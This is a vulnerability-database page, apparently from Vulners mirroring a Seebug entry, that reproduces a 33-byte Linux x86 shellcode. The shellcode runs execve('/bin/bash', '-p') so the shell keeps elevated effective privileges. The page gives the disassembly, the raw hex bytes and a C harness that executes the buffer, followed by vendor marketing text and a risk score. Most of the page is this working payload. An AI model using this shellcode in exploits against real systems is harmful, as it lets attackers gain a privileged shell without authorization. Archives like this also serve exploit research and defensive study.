Lucene search
K

Linux x86 - execve("/bin/bash","-p",NULL) - 33 bytes

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Linux x86 execve("/bin/bash", "-p", NULL) - 33 bytes. Sets euid, egid to uid, gid if -p not supplied and uid < 100

Code

                                                /*

Title: 	Linux x86 - execve(&#34;/bin/bash&#34;, [&#34;/bin/bash&#34;, &#34;-p&#34;], NULL) - 33 bytes
Author:	Jonathan Salwan
Mail:	[email protected]
Web:	http://www.shell-storm.org

!Database of Shellcodes http://www.shell-storm.org/shellcode/


sh sets (euid, egid) to (uid, gid) if -p not supplied and uid &#60; 100
Read more: http://www.faqs.org/faqs/unix-faq/shell/bash/#ixzz0mzPmJC49

sassembly of section .text:

08048054 &#60;.text&#62;:
 8048054:	6a 0b                	push   $0xb
 8048056:	58                   	pop    %eax
 8048057:	99                   	cltd   
 8048058:	52                   	push   %edx
 8048059:	66 68 2d 70          	pushw  $0x702d
 804805d:	89 e1                	mov    %esp,%ecx
 804805f:	52                   	push   %edx
 8048060:	6a 68                	push   $0x68
 8048062:	68 2f 62 61 73       	push   $0x7361622f
 8048067:	68 2f 62 69 6e       	push   $0x6e69622f
 804806c:	89 e3                	mov    %esp,%ebx
 804806e:	52                   	push   %edx
 804806f:	51                   	push   %ecx
 8048070:	53                   	push   %ebx
 8048071:	89 e1                	mov    %ecx,%ecx
 8048073:	cd 80                	int    $0x80

*/

#include &#60;stdio.h&#62;

char shellcode[] = &#34;\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70&#34;
		   &#34;\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61&#34;
		   &#34;\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52&#34;
		   &#34;\x51\x53\x89\xe1\xcd\x80&#34;;

int main(int argc, char *argv[])
{
       	fprintf(stdout,&#34;Length: %d\n&#34;,strlen(shellcode));
	(*(void(*)()) shellcode)();       
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21